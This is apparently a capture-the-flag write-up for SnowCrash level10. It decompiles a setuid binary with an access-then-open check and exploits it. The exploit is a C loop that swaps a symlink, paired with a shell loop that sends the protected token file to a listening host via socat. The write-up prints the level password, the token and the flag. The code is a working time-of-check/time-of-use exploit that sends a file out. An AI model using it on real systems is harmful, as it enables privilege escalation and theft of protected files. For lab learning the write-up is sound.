| .. | ||
| flag | ||
| passwd | ||
| README.md | ||
| toctou.c | ||
Level 10
how to login
username: level10
password: s5cAJpM8ev6XHw998pRWG728z
Goal
run getflag as user flag10
Actually doing something
level10@SnowCrash:~$ ll
total 28
dr-xr-x---+ 1 level10 level10 140 Mar 6 2016 ./
d--x--x--x 1 root users 340 Aug 30 2015 ../
-r-x------ 1 level10 level10 220 Apr 3 2012 .bash_logout*
-r-x------ 1 level10 level10 3518 Aug 30 2015 .bashrc*
-rwsr-sr-x+ 1 flag10 level10 10817 Mar 5 2016 level10*
-r-x------ 1 level10 level10 675 Apr 3 2012 .profile*
-rw------- 1 flag10 flag10 26 Mar 5 2016 token
not so lukcy this time, flag isn't readable...
lets run the executable and see what it does
level10@SnowCrash:~$ ./level10
./level10 file host
sends file to host if you have access to it
level10@SnowCrash:~$ ./level10 token 192.168.92.90
You don't have access to token
level10@SnowCrash:~$ ./level10 .profile 192.168.92.90
Connecting to 192.168.92.90:6969 .. Connected!
Sending file .. Damn. Unable to open file
this seems fishy, lets view it in ida this time...
int main(int argc, const char **argv, const char **envp)
{
int *errno; // eax
char *errno_str; // eax
const char *file; // [esp+28h] [ebp-1028h]
const char *host; // [esp+2Ch] [ebp-1024h]
int socket; // [esp+30h] [ebp-1020h]
int fd; // [esp+34h] [ebp-101Ch]
ssize_t read_ret; // [esp+38h] [ebp-1018h]
_BYTE buf[4096]; // [esp+3Ch] [ebp-1014h] BYREF
struct sockaddr addr; // [esp+103Ch] [ebp-14h] BYREF
unsigned int v13; // [esp+104Ch] [ebp-4h]
v13 = __readgsdword(0x14u);
if ( argc <= 2 )
{
printf("%s file host\n\tsends file to host if you have access to it\n", *argv);
exit(1);
}
file = argv[1];
host = argv[2];
if ( access(file, 4) )
return printf("You don't have access to %s\n", file);
printf("Connecting to %s:6969 .. ", host);
fflush(stdout);
socket = ::socket(2, 1, 0);
*(_DWORD *)&addr.sa_data[6] = 0;
*(_DWORD *)&addr.sa_data[10] = 0;
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = inet_addr(host);
*(_WORD *)addr.sa_data = htons(0x1B39u);
if ( connect(socket, &addr, 0x10u) == -1 )
{
printf("Unable to connect to host %s\n", host);
exit(1);
}
if ( write(socket, ".*( )*.\n", 8u) == -1 )
{
printf("Unable to write banner to host %s\n", host);
exit(1);
}
printf("Connected!\nSending file .. ");
fflush(stdout);
fd = open(file, 0);
if ( fd == -1 )
{
puts("Damn. Unable to open file");
exit(1);
}
read_ret = read(fd, buf, 0x1000u);
if ( read_ret == -1 )
{
errno = __errno_location();
errno_str = strerror(*errno);
printf("Unable to read from file: %s\n", errno_str);
exit(1);
}
write(socket, buf, read_ret);
return puts("wrote file!");
}
Seems pretty straight forward, lets to create a file and listen to it using socat on the host machine
# vm
level10@SnowCrash:~$ echo "file" >/tmp/file
level10@SnowCrash:~$ ./level10 /tmp/file 192.168.92.90
Connecting to 192.168.92.90:6969 .. Connected!
Sending file .. wrote file!
# host
❯ socat TCP-LISTEN:6969,fork stdio
.*( )*.
file
we got the file !
now the issue is that we can't send the token file direcly because it seems there isnt the litlle setuid dance we have come to expect...
lets try to use a symlink ?
level10@SnowCrash:~$ ln -s $(realpath token) /tmp/tok2
level10@SnowCrash:~$ ./level10 /tmp/tok2 192.168.92.90
You don't have access to /tmp/tok2
When looking at the code, we have a check for permission (access) THEN we open the file using open
What if we try really hard to make it so when the program check for the file permission using access, it is a file we have full permission, but when it opens the file, it is changed to be the token file (a symlink to it)
lets write a little code for that:
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
if (argc < 2) {
fprintf(stderr, "%s: <file> <target>\n", argv[0]);
return 1;
}
const char *file = argv[1];
const char *target = argv[2];
int fd = -1;
while (1) {
unlink(file);
fd = open(file, O_CREAT | O_RDWR | O_TRUNC, 0777);
close(fd);
unlink(file);
symlink(target, file);
}
}
copy this to the VM (in /tmp), compile it, and run it
# shell 1
level10@SnowCrash:~$ /tmp/toctou /tmp/tok2 $(realpath token)
in shell 2 run something like this:
level10@SnowCrash:~$ while true; do ./level10 /tmp/tok2 192.168.92.90; done
since the issue (Named TOCTOU for Time of Check - Time of Use) is by nature time sensitive, we run it as long as we need to, hoping for at least ONE single nice happy path :D
and on the host, we get this:
❯ socat TCP-LISTEN:6969,fork stdio
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
woupa2yuojeeaaed06riuj63c
.*( )*.
.*( )*.
.*( )*.
.*( )*.
woupa2yuojeeaaed06riuj63c
.*( )*.
.*( )*.
.*( )*.
.*( )*.
woupa2yuojeeaaed06riuj63c
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
woupa2yuojeeaaed06riuj63c
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
.*( )*.
we get lots of empty files (the one we try to trick the permission check with), and few token :D
level10@SnowCrash:~$ su flag10 -c getflag
Password:
Check flag.Here is your token : feulo4b72j7edeahuete3no7c